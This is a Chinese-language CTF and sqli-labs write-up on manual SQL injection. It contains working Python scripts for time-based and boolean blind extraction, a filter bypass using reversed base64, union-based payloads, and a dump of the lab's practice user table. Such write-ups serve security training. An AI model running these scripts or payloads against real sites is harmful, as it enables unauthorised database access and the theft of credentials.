SQL注入手注
没有手与脚本的注入的注入不是好注入,正如西方不可无耶路撒冷,由于注入有时并不是标准的,当题目出完后,出来的用sqlmap不一定出的来结果,那么我们看看如何写脚本
范例 [[HZNUCTF 2023]ezlogin | NSSCTF](https://www.nssctf.cn/problem/3614) |
我们可以看到:
1:寻找注入点
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:24778
此处省略
username=1&passwd=1
追问:___________________________________________________________________________________________________
注入点可能为username or passwd,随意输入任意数值,我们发现无论如何,它都是无回显的,则归为盲注,并且本题并无任何源码附件下载,盲注一般有提示,那么我们右转去源码,发现提示:
<!--
$username = strrev(base64_decode($_POST['username']));
$username = preg_replace('/select|union|and|database/', "hznuctf2023", $username);-->
题目直接告诉我们注入点,在那但是有函数很蹊跷,base64_decode 会对传入的参数进行解码,strrev()会对字符进行颠倒,还有过滤,所以即使用SQL再开–risk –level 包跑不出的
heuristic (basic) test shows that parameter 'Referer' might not be injectable
所以上脚本
import requests
import base64
import datetime #引入日期时间(用于人为制造间隔,防WAF)
url='http://node5.anna.nssctf.cn:22953/'
flag = '' #创建flag字符串
for i in range(1,100):#二分查找
low = 32
high = 130
mid = (high + low) // 2
while (low < high):
#此处为应打入的payload,因为WAF拦截,我们注入过程如下:(假设数据库为常用MYSQL/MariaDB)
#payload = "1'||if((ascii(substr((DATABASE()),{},1)))>{},sleep(1),1)#" #(列数据库,sleep()判断是否是时间盲注)通过 `sleep(1)` 触发延迟,判断字符的 ASCII 码值。
#payload = "1'||if((ascii(substr((SELECT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/DATABASE()),{},1)))>{},sleep(1),1)#" #(表名枚举)通过 `sleep(1)` 延迟爆破表名,- 使用 MySQL 系统表 `information_schema.tables`。 - `group_concat()` 是 MySQL 聚合函数, - 需要提取当前数据库的所有表名。- 绕过空格过滤(使用 `/**/` 替代空格)。- 依赖 `information_schema` 的访问权限
#payload = "1'||if((ascii(substr((SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/DATABASE()/**/AND/**/table_name/**/like/**/'user'),{},1)))>{},sleep(1),1)#" #列名枚举 使用`information_schema.columns` 系统表。 爆破 `user` 表的所有列名。
'''
**适用条件**:
- 已知目标表名为 `user`。
- 需要提取表的列结构。
- 依赖 `information_schema` 的访问权限。
'''
payload = "1'||if((ascii(substr((SELECT/**/group_concat('username','^''password')/**/from/**/users.user),{},1)))>{},sleep(1),1)#" #-- 使用 `group_concat()` 和特定表 `users.user`, 从 `users.user` 表中提取 `username` 和 `password` 字段。
payload = payload.format(i, mid)
print(payload)
payload = base64.b64encode(payload[::-1].encode("utf-8"))
data = {
'username':payload,
'passwd':'1'
}
time1 = datetime.datetime.now()
r = requests.post(url, data)
time2 = datetime.datetime.now()
time = (time2 - time1).seconds
if time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 130):
break
flag += chr(mid)
print(flag)
好了,现在,由这一题,我就sqli-lab的1-15关进行总结
Less 1-7 报错注入
总体思路:fuzz判闭合,order by 拼接看列数,union select 看行数,select套database(),version()明确版本,unionselect 1,2,group_concat (table_name) from shama.database…,union select
1,2,group_concat (column_name) from shama.database…
Less1 payload:
1'--+
1'order by 3 --+
1'order by 4 --+
-1'union select 1,database(),version() --+
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-1'union select 1,2,group_concat(user,name,id) from users--+
其他关卡无非就是换换闭合方式,换换注入类型(字符型注入,数字型注入)
建议直接注
Less 8-15盲注
与1-7关不同,输入注入尝试,发现只显示,you are in…,不会显示结果,那sleep()无用,只为盲注,sqlmap可用
[13 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
+----+------------+----------+
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
但问题来了,如果是对注入的语句进行处理,如编码,双写过滤,那么这时脚本的重要性就来了,
争对less-8简单出个脚本
import requests
import string
url='http://sqli/Less-8/index.php'
i=0
db_name_len=0
print('[+]正在猜解数据库长度......')
while True:
payload=url+"?id=1'and length(database())=%d--+"%i
res=requests.get(payload)
#print(payload)
if 'You are in...........' in res.text:
db_name_len=i
print ('数据库长度为:'+str(db_name_len))
break
if i==30:
print('error!')
break
i+=1
print("[+]正在猜解数据库名字......")
db_name=''
for i in range(1,db_name_len+1):
#print(i)
for k in string.ascii_lowercase:
#print(k)
payload=url+"?id=1'and substr(database(),%d,1)='%s'--+"%(i,k)
res=requests.get(payload)
#print(payload)
if 'You are in...........' in res.text:
db_name+=k
#print(db_name)
break
print("数据库为: %s"%db_name)
#猜解几张表
print("[+]正在猜解表的数量......")
tab_num=0
while True:
payload=url+"?id=1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+"%tab_num
res=requests.get(payload)
if 'You are in...........' in res.text:
print("%s数据库共有"%db_name+str(tab_num)+"张表")
break
else:
tab_num+=1
print("[+]开始猜解表名......")
for i in range(1,tab_num+1):
tab_len=0
while True:
payload=url+"?id=1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+"%(i-1,tab_len)
res=requests.get(payload)
#print(payload)
if 'You are in...........' in res.text:
#print ('第%d张表长度为:'%i+str(tab_len))
break
if tab_len==30:
print('error!')
break
tab_len+=1
tab_name=''
for j in range(1,tab_len+1):
for m in string.ascii_lowercase:
payload=url+"?id=1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+"%(i-1,j,m)
res=requests.get(payload)
if 'You are in...........' in res.text:
tab_name+=m
#print (tab_name)
print("[-]第%d张表名为: %s"%(i,tab_name))
#尝试猜解表下字段......
dump_num=0
while True:
payload=url+"?id=1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+"%(tab_name,dump_num)
res=requests.get(payload)
if 'You are in...........' in res.text:
print("%s表下有%d个字段"%(tab_name,dump_num))
break
dump_num+=1
for a in range(1,dump_num+1):
dump_len=0
while True:
payload=url+"?id=1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+"%(tab_name,a-1,dump_len)
res=requests.get(payload)
#print(payload)
if 'You are in...........' in res.text:
#print("第%d个字段长度为%d"%(a,dump_len))
break
dump_len+=1
if dump_len==30:
print("error!!")
break
dump_name=''
for i in range(1,dump_len+1):
for j in (string.ascii_lowercase+'_-'):
payload=url+"?id=1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+"%(tab_name,a-1,i,j)
res=requests.get(payload)
if 'You are in...........' in res.text:
dump_name+=j
#print(dump_name)
break
print(dump_name)
print("[+]开始猜解users表下的username......")
usn_num=0
char="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:
payload=url+"?id=1'and (select count(username) from security.users)=%d--+"%usn_num
res=requests.get(payload)
if "You are in" in res.text:
#print(usn_num)#13
break
usn_num+=1
for i in range(1,usn_num+1):
usn_len=0
while True:
payload=url+"?id=1'and (select length(username) from security.users limit %d,1)=%d--+"%(i-1,usn_len)
res=requests.get(payload)
if "You are in" in res.text:
#print("第%d的长度为%d"%(i,usn_len))
break
usn_len+=1
usr_name=''
for k in range(1,usn_len+1):
for m in char:
payload=url+"?id=1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+"%(i-1,k,m)
res = requests.get(payload)
if "You are in" in res.text:
usr_name+=m
break
print(usr_name)
print("[+]开始猜解users表下的password......")
usn_num=0
char="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
while True:
payload=url+"?id=1'and (select count(password) from security.users)=%d--+"%usn_num
res=requests.get(payload)
if "You are in" in res.text:
#print(usn_num)#13
break
usn_num+=1
for i in range(1,usn_num+1):
usn_len=0
while True:
payload=url+"?id=1'and (select length(password) from security.users limit %d,1)=%d--+"%(i-1,usn_len)
res=requests.get(payload)
if "You are in" in res.text:
#print("第%d的长度为%d"%(i,usn_len))
break
usn_len+=1
usr_name=''
for k in range(1,usn_len+1):
for m in char:
payload=url+"?id=1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+"%(i-1,k,m)
res = requests.get(payload)
if "You are in" in res.text:
usr_name+=m
break
print(usr_name)
太长了…,作个模板留档